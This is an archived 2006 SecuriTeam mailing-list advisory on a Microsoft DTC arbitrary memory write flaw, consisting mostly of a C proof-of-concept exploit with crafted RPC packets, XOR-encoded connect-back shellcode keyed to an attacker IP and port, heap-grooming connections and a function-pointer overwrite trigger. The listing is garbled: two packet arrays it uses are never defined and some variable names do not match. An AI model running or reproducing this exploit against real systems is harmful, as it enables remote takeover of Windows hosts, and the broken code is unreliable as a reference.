

[EXPL] MSDTC Arbitrary Opposite Memory Write Flaw (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-01/msg00015.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 4 Jan 2006 17:45:55 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

MSDTC Arbitrary Opposite Memory Write Flaw (Exploit)

SUMMARY

The Distributed Transaction Controller provides "a method for disparate processes to complete atomic transactions. The Transaction Internet Protocol (TIP) is one the ways that the DTC service can be accessed. This service is part of a standard installation on Windows NT 4.0, Windows 2000, Windows XP and Windows 2003". A vulnerability in the way that the Microsoft DTC handles requests allows remote attackers to cause it to overwrite arbitrary memory locations, which in most cases cause a denial of service.

DETAILS

Vulnerable Systems:

- * Microsoft Windows 2000 Service Pack 4
- * Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2
- * Microsoft Windows XP Professional x64 Edition
- * Microsoft Windows Server 2003 and Microsoft Windows Server 2003 Service Pack 1
- * Microsoft Windows Server 2003 for Itanium-based Systems and Microsoft

[EXPL] MSDTC Arbitrary Opposite Memory Write Flaw (Exploit)

Windows Server 2003 with SP1 for Itanium-based Systems

* Microsoft Windows Server 2003 x64 Edition

Immune Systems:

* Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), and Microsoft Windows Millennium Edition (ME)

Exploit:

/*

Hard to exploit, isn't it? I have tested it on 10+ box, most of them allocated 0x9X0058 for me, however, I cannot write the pointer to 0x7ffdf020 since the length I can control should be divided exactly by 8 (merde), so I choose 0x684191c4.

This following program is mostly like a D.O.S. 10+ blackbox were tested, only 5 were owned, and I think the successful rate should be much lower in real circumstance.

I mark it as a POC and wish someone (no hat) could supply us a much better exploit. It is said that this fault could be steered clear of and another segfault is consequently triggered, so...

Any mails are welcome but spam, I need NO viagra. Je suis celibataire.

Greetz:

All SST guys, I love your bald heads that never hatted.

Shuo Yang, I love you.

OYXin, ...

Code by:

Swan (Swan[at]0x557[dot]org)

*/

```
#include <stdio.h>
```

```
#include <winsock2.h>
```

```
#include <windows.h>
```

```
#pragma comment(lib, "ws2_32.lib")
```

```
char peer0_0[72] = {
```

```
(char)0x05, (char)0x00, (char)0x0b, (char)0x03, (char)0x10, (char)0x00,
```

```
(char)0x00, (char)0x00,
```

```
(char)0x48, (char)0x00, (char)0x00, (char)0x00, (char)0x01, (char)0x00,
```

```
(char)0x00, (char)0x00,
```

```
(char)0xd0, (char)0x16, (char)0xd0, (char)0x16, (char)0x00, (char)0x00,
```

```
(char)0x00, (char)0x00,
```

```
(char)0x01, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00,
```

```
(char)0x01, (char)0x00,
```

```
(char)0xe0, (char)0x0c, (char)0x6b, (char)0x90, (char)0x0b, (char)0xc7,
```

```
(char)0x67, (char)0x10,
```

```
(char)0xb3, (char)0x17, (char)0x00, (char)0xdd, (char)0x01, (char)0x06,
```

```
(char)0x62, (char)0xda,
```

```
(char)0x01, (char)0x00, (char)0x00, (char)0x00, (char)0x04, (char)0x5d,
```


[EXPL] MSDTC Arbitrary Opposite Memory Write Flaw (Exploit)

```
(char)0xcc, (char)0x00, (char)0xcc, (char)0x00, (char)0xcc, (char)0x00,  
(char)0xcc, (char)0x00,  
(char)0xcc, (char)0x00, (char)0xcc, (char)0x00, (char)0xcc, (char)0x00,  
(char)0xcc, (char)0x00,  
(char)0xcc, (char)0x00, (char)0xcc, (char)0x00, (char)0xcc, (char)0x00,  
(char)0xcc, (char)0x00,  
(char)0xcc, (char)0x00, (char)0xcc, (char)0x00, (char)0xcc, (char)0x00,  
(char)0xcc, (char)0x00,  
(char)0xfd, (char)0xfd, (char)0xfd, (char)0xfd, (char)0xdd, (char)0xdd,  
(char)0xdd, (char)0xdd,  
(char)0xdd, (char)0xdd, (char)0xdd, (char)0xdd, (char)0x24, (char)0x00,  
(char)0x8f, (char)0x00,  
(char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x08, (char)0x00,  
(char)0x00, (char)0x00,  
(char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x08, (char)0x00,  
(char)0x00, (char)0x00,  
(char)0x31, (char)0x00, (char)0x31, (char)0x00, (char)0x31, (char)0x00,  
(char)0x31, (char)0x00,  
(char)0x31, (char)0x00, (char)0x31, (char)0x00, (char)0x31, (char)0x00,  
(char)0x00, (char)0x00,  
(char)0x09, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00,  
(char)0x00, (char)0x00,  
(char)0x09, (char)0x00, (char)0x00, (char)0x00, (char)0x31, (char)0x00,  
(char)0x31, (char)0x00,  
(char)0x31, (char)0x00, (char)0x31, (char)0x00, (char)0x31, (char)0x00,  
(char)0x31, (char)0x00,  
(char)0x31, (char)0x00, (char)0x31, (char)0x00, (char)0x00, (char)0x00,  
(char)0x00, (char)0x00,  
(char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00,  
(char)0x00, (char)0x00,  
(char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00,  
(char)0x00, (char)0x00,  
(char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00, (char)0x00,  
(char)0x00, (char)0x00,  
(char)0x00, (char)0x00, (char)0x00, (char)0x00 };
```

```
#define ip_offset (213+22)  
#define port_offset (208+22)  
unsigned char realesc[] =  
"\xEB\x0F\x5B\x33\xC9\x66\xb9\xaa\x04\x80\x33\x99\x43\xE2\xFA\xEB"  
"\x05\xE8\xEC\xFF\xFF\xFF"  
"\x70\x6D\x99\x99\x99\xC3\x21\x95\x69\x64\xE6\x12\x99\x12\xE9\x85"  
"\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12\xEF\xE1\x9A\x6A"  
"\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6\x9A"  
"\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D\xDC"  
"\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A\x58"  
"\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12"  
"\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71"  
"\xE9\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3"  
"\x9B\xC0\x71\xC4\x99\x99\x99\x1A\x75\xDD\x12\x6D\xF3\x89\xC0\x10"  
"\x9D\x17\x7B\x62\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x61\x12"  
"\x41\x10\xC7\xA1\x10\xC7\xA5\x10\xC7\xD9\xFF\x5E\xDF\xB5\x98\x98"  
"\x14\xDE\x89\xC9\xCF\xAA\x59\xC9\xC9\xC9\xF3\x98\xC9\xC9\x14\xCE"
```

[EXPL] MSDTC Arbitrary Opposite Memory Write Flaw (Exploit)

```
"\xA5\x5E\x9B\xFA\xF4\xFD\x99\xCB\xC9\x66\xCE\x75\x5E\x9E\x9B\x99"  
"\x9E\x24\x5E\xDE\x9D\xE6\x99\x99\x98\xF3\x89\xCE\xCA\x66\xCE\x65"  
"\xC9\x66\xCE\x69\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66"  
"\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x9E\x66\x66\x66\xDE\xFC"  
"\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC"  
"\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED"  
"\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB"  
"\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA"  
"\xF6\xFA\xF2\xFC\xED\xD8\x99\xFA\xF6\xF7\xF7\xFC\xFA\xED\x99";
```

```
struct ostype
```

```
{  
    DWORD TopSEH;  
    char description[255];  
};  
ostype OS[] = {  
    {0x684191c4, "Write NdrserverCall2 pointer From 0x990058"},  
    {0x684191c4, "Write NdrserverCall2 pointer From 0x980058"},  
    {0, NULL}  
};
```

```
DWORD BaseImage[]={0x990058, 0x980058};
```

```
void MakeShell(char *ip, int port)
```

```
{  
    //make shellcode  
    unsigned short tp = htons(port)^(u_short)0x9999;  
    unsigned long ti = inet_addr(ip)^0x99999999;  
    memcpy(&realsc[port_offset], &tp, 2);  
    memcpy(&realsc[ip_offset], &ti, 4);  
}
```

```
SOCKET ConnectTo(char *ip, int port)
```

```
{  
    WSADATA wsaData;  
    SOCKET s;  
    struct hostent *he;  
    struct sockaddr_in host;  
    int nTimeout = 5000;  
    if(WSAStartup(0x0101,&wsaData) != 0)  
    {  
        printf("error starting winsock..");  
        exit(-1);  
    }  
    if((he = gethostbyname(ip)) == 0)  
    {  
        printf("Failed resolving '%s'", ip);  
        exit(-1);  
    }  
    host.sin_port = htons(port);  
    host.sin_family = AF_INET;
```

[EXPL] MSDTC Arbitrary Opposite Memory Write Flaw (Exploit)

```
host.sin_addr = *((struct in_addr *)he->h_addr);

if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("Failed creating socket");
exit(-1);
}

if ((connect(s, (struct sockaddr *) &host, sizeof(host))) == -1)
{
printf("Failed connecting to host\r\n");
exit(-1);
}
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO,
(char*)&nTimeout,sizeof(nTimeout));
return s;
}

void Disconnect(SOCKET s)
{
closesocket(s);
WSACleanup();
}

void WriteFakeLength(DWORD fakelen) //should > 0x22b
{
*(DWORD*)(peer0_1+15*8) = fakelen/2;
}

void BuildShell(char *ip, int port)
{
MakeShell(ip, port);
memcpy(peer0_1 + 132, realsc, sizeof(realsc));
}

void BuildContext(char*ip, int port)
{
SOCKET s = ConnectTo(ip, port);
//SOCKET s = ConnectTo("202.119.9.191", 2288);
send(s, peer0_0, sizeof(peer0_0), 0);
char buf[5000];
WriteFakeLength(1200);
recv(s, buf, sizeof(buf), 0);
send(s, peer0_1, sizeof(peer0_1), 0);
send(s, peer0_2, sizeof(peer0_2), 0);
memset(buf, 0, sizeof(buf));
recv(s, buf, sizeof(buf), 0);
Disconnect(s);
if(buf[8] != 0x5c)
{
printf("Target not support! Quitting....");
}
```

[EXPL] MSDTC Arbitrary Opposite Memory Write Flaw (Exploit)

```
exit(0);
}
Sleep(500);
}

void help(char *n)
{
printf("--[ SST ]=-----\n");
printf(" MSDTC Arbitrary Opposite Memory Write Flaw\n");
printf("-----\n");
printf("Usage:\n");
printf(" %s [Taget IP] [Target Port] [Your IP] [Your Port]
<type>\n\n", n);
int i=0;
while(OS[i].TopSEH)
{
printf(" %d %s\n", i, OS[i].description);
i++;
}
}

void main(int argc, char *argv[])
{
if(argc < 6 || argv[argc-1][0] != 'S')
{
help(argv[0]);
return;
}
int itype = 0;
int b = 0;
if(argc == 7)
b = atoi(argv[5]);
char *ip = argv[1];
int port = atoi(argv[2]);

printf("(^_^) Start exploiting journey!\n");
//build context, copy shellcode to heap
BuildContext(ip, port);
BuildContext(ip, port);
BuildContext(ip, port);
BuildShell(argv[3], atoi(argv[4]));
BuildContext(ip, port);
BuildContext(ip, port);
BuildContext(ip, port);
//finish building
printf("(^_^) Context built!\n");

SOCKET s = ConnectTo(ip, port);
send(s, peer0_0, sizeof(peer0_0), 0);
char buf[5000];
```

[EXPL] MSDTC Arbitrary Opposite Memory Write Flaw (Exploit)

```
WriteFakeLength(OS[iotype].TopSEH-BaseImage[b]-4);
recv(s, buf, sizeof(buf), 0);
send(s, peer0_1, sizeof(peer0_1), 0);
send(s, peer0_2, sizeof(peer0_2), 0);
Disconnect(s);
printf("(^_^) Function pointer wrote!\n");
```

```
//trigger
printf("(*_*) Trigger fault...");
Sleep(500);
s = ConnectTo(ip, port);
send(s, peer0_0, sizeof(peer0_0), 0);
//WriteFakeLength(0x80811102-BaseImage[b]-4);
WriteFakeLength(0x226);
recv(s, buf, sizeof(buf), 0);
send(s, peer0_1, sizeof(peer0_1), 0);
send(s, peer0_2, sizeof(peer0_2), 0);
Disconnect(s);
printf("Done!\n(*_*) Any shell?");
}

/* EOF */
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:Swan@xxxxxxxx>> Swan.

The advisory can be found at:

<<http://www.securiteam.com/windowsntfocus/6K00F0KEBE.html>>

<http://www.securiteam.com/windowsntfocus/6K00F0KEBE.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

[EXPL] MSDTC Arbitrary Opposite Memory Write Flaw (Exploit)

- Prev by Date: [*\[NT\] Sygate Protection Agent Privileges Escalation*](#)
- Next by Date: [*\[UNIX\] Paros Proxy Blank Password*](#)
- Previous by thread: [*\[NT\] Sygate Protection Agent Privileges Escalation*](#)
- Next by thread: [*\[UNIX\] Paros Proxy Blank Password*](#)
- Index(es):
 - ◆ [*Date*](#)
 - ◆ [*Thread*](#)